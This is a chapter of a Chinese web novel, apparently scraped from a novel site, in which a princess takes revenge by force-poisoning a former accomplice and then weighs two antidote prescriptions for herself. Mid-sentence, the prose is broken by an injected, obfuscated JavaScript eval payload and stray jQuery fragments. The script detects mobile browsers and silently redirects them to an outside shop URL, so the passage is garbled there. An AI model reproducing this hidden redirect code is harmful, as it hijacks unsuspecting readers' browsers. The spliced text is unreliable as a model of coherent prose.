文趣网 > 都市小说 > 昭阳纪 > 124. 解毒
    随着赵怀懿被斩首,苏静娴的案子尘埃落定,孙文远变卖家财带着孙氏离开了京城这处是非之地,一切都恢复了平静,只有墨莲失去了庇护,也失去了价值,被丢在了京城无人问津。

    赵怀懿的死,赵家的倒台让她日夜惶恐,生怕被灭口,也怕被仇家找到。她不敢回王府,只能混迹在市井之中,靠着变卖东西和打零工勉强糊口。

    这日,她正匆匆走过一条相对僻静的街道,手里捏着两个刚买的糙面馒头,打算找个角落啃了充饥。

    可还没走出多远,便有几个身形粗壮的婆子从旁边一条小巷里闪出来拦住了她的去路,二话不说便架住她的胳膊,捂住了她的嘴。墨莲惊恐挣扎了起来,可她哪里是这些做惯了粗活、力气惊人的婆子的对手,很快就像只小鸡仔般被拖进了一条更加幽深的小巷。

    巷子里堆满了杂物,婆子们将她狠狠掼在地上,摔得她眼冒金星,骨头像散了架一样疼。

    “你们是谁?到底要做什么?”墨莲挣扎着爬起来。

    婆子们并不答话,只是冷冷地散开守住了巷口。然后,一个纤细的身影缓缓从巷子另一头的阴影里走了出来。

    天光从高墙狭窄的缝隙漏下,照亮了来人的半边脸颊。

    “果然是你……”墨莲的声音嘶哑干涩,而后渐渐平静了下来:“昭阳郡主,我就知道你不会放过我的。”

    江重月并未理会墨莲,她抬抬手,一名婆子立刻上前,手中捧着一个不起眼的粗瓷小碗,碗中盛着些浑浊的褐色液体,墨莲看着那碗药身体顿时一颤。

    两名婆子上前,一左一右牢牢按住墨莲的肩膀和手臂,让她动弹不得,另一名婆子则捏住了她的下巴迫使她张开了嘴。

    碗沿抵住了墨莲的嘴唇,她睁圆了眼睛,却只能眼睁睁看着那碗药汁越来越倾斜,流入她的嘴,最终顺着喉咙滑进身体。

    “咳,咳咳咳……”墨莲呛咳起来,咳着咳着就呕出了血来:“昭阳郡主好手段。”

    江重月道:“比起当年你和赵怀懿对我母亲做的事,我至少愿意给你们一个痛快。”

    “痛快?哈哈哈!”墨莲凄凄笑了起来:“江重月,你以为你是什么好人?事到如今你手上沾的血难道还少吗?王妃的,王姨娘的,现在还有我的!你今天为了报仇杀了我,明天就会为了自保、为了利益杀更多的人!你看看你现在,再看看王妃当年,你们又有什么区别?迟早有一天你也会变成一个彻头彻尾、手上沾满鲜血的刽子手!甚至比王妃更可怕!”

    “墨莲,你说得对。”江重月承认得异常干脆:“这条路一旦踏上确实难以回头,我手上的血确实不少,或许将来还会有更多人因我而死,但我永远都不会成为赵怀懿。”

    江重月笑笑:“赵怀懿杀人是为了满足她永无止境的贪婪和嫉妒,她视人命如草芥,从无半分愧疚与手软。我不以杀人为乐,也不想滥杀无辜。只是你们不死,我母亲的冤魂难安,那些被你们害死的人在天之灵难安!”

    她俯身,逼近墨莲惊恐的脸:“你说我会变成刽子手?或许吧,但刽子手至少能把刀握在自己手里,能决定将刀挥向谁,为什么而挥。”

    “赵怀懿伏诛是她罪有应得,而你助纣为虐为虎作伥,今日之果不过是偿还昔日之因。”

    墨莲嗬嗬叫喊了几声,而后七窍开始渗出黑血,眼神也渐渐涣散了下来。她死死盯着江重月近在咫尺的脸,嘴唇想了想,似乎还想说再说些什么,最终头一歪,彻底没了气息。

    江重月转身,对婆子们道:“处理干净吧。”

    “是,郡主。”婆子们低声应道,立刻动作麻利地处理起了墨莲的尸体。

    江重月径直离开了这条阴暗的小巷。

    萧淮烟的别院是一处闹中取静的三进院落,粉墙黛瓦,掩映在几株高大的梧桐树后,门庭十分低调。

    门房显然是得了吩咐,见到江重月并未多问,直接恭敬地将她引了进去。

    穿过前院来到第二进的正厅,只听厅内陈设简洁雅致,却隐约有争执的声音从旁边的侧间传来。

    江重月循声走近,方才来到后院,还没进门就听到了萧淮烟的声音:“温姑娘,你这方子也太温吞了!我在边关的时候亲眼见过军中斥候中了类似的奇毒,当时军医就是用七星草做主药配合几味烈性药材,一剂下去逼出毒血,再辅以内功调息,很快就好了!你这方子又是参又是苓的,还要文火慢炖分次服用,昭阳的身子骨能等得起吗?”

    接着是温荧惑的解释:“康宁郡主,边关将士常年征战体魄强健,军医也往往因地制宜,用的都是最直接、但也最伤身的法子,以强力药性对冲毒性适合那些身强体壮、底子深厚的将士。昭阳郡主体质虽较常人坚韧,但毕竟久居深闺,不似边关将士常年打磨筋骨,若骤然用猛药恐怕毒性未清,郡主的身体便先被霸道药力冲垮了,届时后果不堪设想。”

    萧淮烟眉头皱得更紧了:“那照你这么说,用这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895499|212839||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么温和的方子得喝到猴年马月去?”

    “此乃稳妥之法。”温荧惑坚持道:“七星草为主药,辅以其他药材调和其霸烈药性,并配合金针渡穴徐徐图之,意在先将大部分毒素化解、引出,再慢慢调理被毒性侵蚀的身体,耗时虽长但胜在安全,对昭阳郡主身体的损害也最小。否则即便解了毒,郡主也可能会元气大伤,落下难以挽回的病根。”

    “可是……”萧淮烟还想再争辩,她性子太急,总觉得解毒越快越好,拖得越久变数越多。

    “康宁姐姐。”江重月上前,打断了萧淮烟的争辩。

    萧淮烟回头,看到江重月脸上焦急之色稍缓,但仍是担忧道:“昭阳,你来了。我不是不信温姑娘,只是你这毒……我看着着急!”

    江重月并未立刻回答,而是先走到桌边拿起两份药方仔细看了看。

    其中一份笔迹遒劲,显然是萧淮烟写的,药性猛烈,主攻伐。另一份笔迹清秀的是温荧惑的,药性平和,主调和。

    她沉吟片刻,看向萧淮烟道:“康宁姐姐的关心我心领了,康宁姐姐见识过边关将士的勇烈,也见过军医的果断,你的方子自有其道理,是为我着想,希望我尽快摆脱这毒的折磨。”

    萧淮烟见她理解自己的初衷,脸色稍霁。

    江重月又看向温荧惑:“温姐姐是医道圣手,考虑得更周全些,这份谨慎也是为了我的身体。”

    温荧惑点了点头。

    江重月将两份方子放下,目光澄澈地看向两人:“我并非医者,不懂用药,但我明白对症下药,因人而异的道理。边关将士体格强健,常年与死亡为伍,可用猛药搏一线生机,而我……”

    她顿了顿:“我的身体确实禁不起那样的折腾,温姨的法子或许慢些,但更稳妥,也更适合我。”

    萧淮烟听江重月这么说,又仔细想了想温荧惑的解释,脸上的急切渐渐退去,她挠了挠头,有些不好意思地对温荧惑道:“温姑娘,对不住,是我太心急了,没考虑周全。在医术上你是行家,我听你的。”

    温荧惑摇了摇头,微笑道:“康宁郡主也是关心则乱,无妨,昭阳郡主体内的毒确实棘手,需得步步为营。现在有七星草在手我们便有了七分把握,剩下的三分便在这徐徐图之四个字上。”

    萧淮烟恍然大悟,一拍桌子:“我明白了!就像行军打仗,有时不能一味强攻猛打,得讲究个策略时机,稳扎稳打才能确保胜利,减少伤亡!是这个理!”